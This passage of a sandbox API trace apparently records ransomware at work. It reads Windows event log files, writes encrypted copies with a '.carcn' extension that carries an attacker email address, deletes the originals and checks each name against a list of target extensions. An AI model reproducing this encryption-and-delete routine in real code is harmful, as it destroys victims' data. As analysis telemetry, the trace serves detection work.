lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.117] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.119] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.119] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x128, lpOverlapped=0x0) returned 1 [0180.119] SetEndOfFile (hFile=0x35c) returned 1 [0180.119] CloseHandle (hObject=0x35c) returned 1 [0180.121] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.121] SetEndOfFile (hFile=0x388) returned 1 [0180.122] CloseHandle (hObject=0x388) returned 1 [0180.122] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.123] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0180.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.123] lstrlenW (lpString=".doc") returned 4 [0180.123] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString=".docx") returned 5 [0180.123] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.123] lstrlenW (lpString=".pdf") returned 4 [0180.123] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString=".xls") returned 4 [0180.123] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString=".xlsx") returned 5 [0180.123] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.123] lstrlenW (lpString=".ppt") returned 4 [0180.123] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.123] lstrlenW (lpString=".zip") returned 4 [0180.123] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString=".rar") returned 4 [0180.123] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString=".bz2") returned 4 [0180.123] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.123] lstrlenW (lpString=".7z") returned 3 [0180.123] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString=".dbf") returned 4 [0180.124] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString=".1cd") returned 4 [0180.124] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString=".jpg") returned 4 [0180.124] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString=".doc") returned 4 [0180.124] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString=".docx") returned 5 [0180.124] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.124] lstrlenW (lpString=".pdf") returned 4 [0180.124] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString=".xls") returned 4 [0180.124] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString=".xlsx") returned 5 [0180.124] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.124] lstrlenW (lpString=".ppt") returned 4 [0180.124] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString=".zip") returned 4 [0180.124] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString=".rar") returned 4 [0180.124] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString=".bz2") returned 4 [0180.124] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.124] lstrlenW (lpString=".7z") returned 3 [0180.124] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.124] lstrlenW (lpString=".dbf") returned 4 [0180.125] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.125] lstrlenW (lpString=".1cd") returned 4 [0180.125] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0180.125] lstrlenW (lpString=".jpg") returned 4 [0180.125] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.125] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.125] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0180.125] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.125] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.125] CloseHandle (hObject=0x388) returned 1 [0180.125] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0180.125] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.125] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.125] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.126] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.126] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.128] GetLastError () returned 0x0 [0180.128] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.141] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.142] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.142] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x122, lpOverlapped=0x0) returned 1 [0180.142] SetEndOfFile (hFile=0x35c) returned 1 [0180.142] CloseHandle (hObject=0x35c) returned 1 [0180.144] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.144] SetEndOfFile (hFile=0x388) returned 1 [0180.145] CloseHandle (hObject=0x388) returned 1 [0180.146] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.146] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0180.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.146] lstrlenW (lpString=".doc") returned 4 [0180.146] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.146] lstrlenW (lpString=".docx") returned 5 [0180.146] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.146] lstrlenW (lpString=".pdf") returned 4 [0180.146] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.146] lstrlenW (lpString=".xls") returned 4 [0180.146] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.146] lstrlenW (lpString=".xlsx") returned 5 [0180.146] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.146] lstrlenW (lpString=".ppt") returned 4 [0180.147] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.147] lstrlenW (lpString=".zip") returned 4 [0180.147] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString=".rar") returned 4 [0180.147] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString=".bz2") returned 4 [0180.147] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString=".7z") returned 3 [0180.147] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.147] lstrlenW (lpString=".dbf") returned 4 [0180.147] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.147] lstrlenW (lpString=".1cd") returned 4 [0180.147] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.147] lstrlenW (lpString=".jpg") returned 4 [0180.147] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.147] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.147] lstrlenW (lpString=".doc") returned 4 [0180.147] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString=".docx") returned 5 [0180.147] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.147] lstrlenW (lpString=".pdf") returned 4 [0180.147] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString=".xls") returned 4 [0180.147] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.147] lstrlenW (lpString=".xlsx") returned 5 [0180.147] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.147] lstrlenW (lpString=".ppt") returned 4 [0180.147] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.148] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.148] lstrlenW (lpString=".zip") returned 4 [0180.148] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.148] lstrlenW (lpString=".rar") returned 4 [0180.148] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.148] lstrlenW (lpString=".bz2") returned 4 [0180.148] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.148] lstrlenW (lpString=".7z") returned 3 [0180.148] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.148] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.148] lstrlenW (lpString=".dbf") returned 4 [0180.148] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.148] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.148] lstrlenW (lpString=".1cd") returned 4 [0180.148] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.148] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0180.148] lstrlenW (lpString=".jpg") returned 4 [0180.148] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.148] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.148] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0180.148] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.148] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.148] CloseHandle (hObject=0x388) returned 1 [0180.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0180.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.149] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.149] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.149] GetLastError () returned 0x0 [0180.149] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.202] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.204] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.204] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x124, lpOverlapped=0x0) returned 1 [0180.204] SetEndOfFile (hFile=0x35c) returned 1 [0180.204] CloseHandle (hObject=0x35c) returned 1 [0180.206] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.206] SetEndOfFile (hFile=0x388) returned 1 [0180.208] CloseHandle (hObject=0x388) returned 1 [0180.208] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.208] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0180.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.209] lstrlenW (lpString=".doc") returned 4 [0180.209] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString=".docx") returned 5 [0180.209] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.209] lstrlenW (lpString=".pdf") returned 4 [0180.209] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString=".xls") returned 4 [0180.209] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString=".xlsx") returned 5 [0180.209] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.209] lstrlenW (lpString=".ppt") returned 4 [0180.209] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.209] lstrlenW (lpString=".zip") returned 4 [0180.209] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString=".rar") returned 4 [0180.209] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString=".bz2") returned 4 [0180.209] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString=".7z") returned 3 [0180.209] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.209] lstrlenW (lpString=".dbf") returned 4 [0180.209] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.209] lstrlenW (lpString=".1cd") returned 4 [0180.209] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.209] lstrlenW (lpString=".jpg") returned 4 [0180.209] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.210] lstrlenW (lpString=".doc") returned 4 [0180.210] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString=".docx") returned 5 [0180.210] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.210] lstrlenW (lpString=".pdf") returned 4 [0180.210] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString=".xls") returned 4 [0180.210] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString=".xlsx") returned 5 [0180.210] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.210] lstrlenW (lpString=".ppt") returned 4 [0180.210] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.210] lstrlenW (lpString=".zip") returned 4 [0180.210] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString=".rar") returned 4 [0180.210] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString=".bz2") returned 4 [0180.210] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString=".7z") returned 3 [0180.210] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.210] lstrlenW (lpString=".dbf") returned 4 [0180.210] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.210] lstrlenW (lpString=".1cd") returned 4 [0180.210] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.210] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0180.210] lstrlenW (lpString=".jpg") returned 4 [0180.210] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.211] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.211] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0180.211] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.211] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.211] CloseHandle (hObject=0x388) returned 1 [0180.211] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0180.211] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.211] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0180.211] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.211] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.211] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.212] GetLastError () returned 0x0 [0180.212] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.252] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.253] ReadFile (in: hFile=0x388, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.253] WriteFile (in: hFile=0x35c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x138, lpOverlapped=0x0) returned 1 [0180.253] SetEndOfFile (hFile=0x35c) returned 1 [0180.253] CloseHandle (hObject=0x35c) returned 1 [0180.260] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.260] SetEndOfFile (hFile=0x388) returned 1 [0180.261] CloseHandle (hObject=0x388) returned 1 [0180.261] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.262] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0180.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0180.262] lstrlenW (lpString=".doc") returned 4 [0180.262] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.262] lstrlenW (lpString=".docx") returned 5 [0180.262] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.262] lstrlenW (lpString=".pdf") returned 4 [0180.262] lstrcmpiW (lpString1=".pdf", lpString2="evtx") 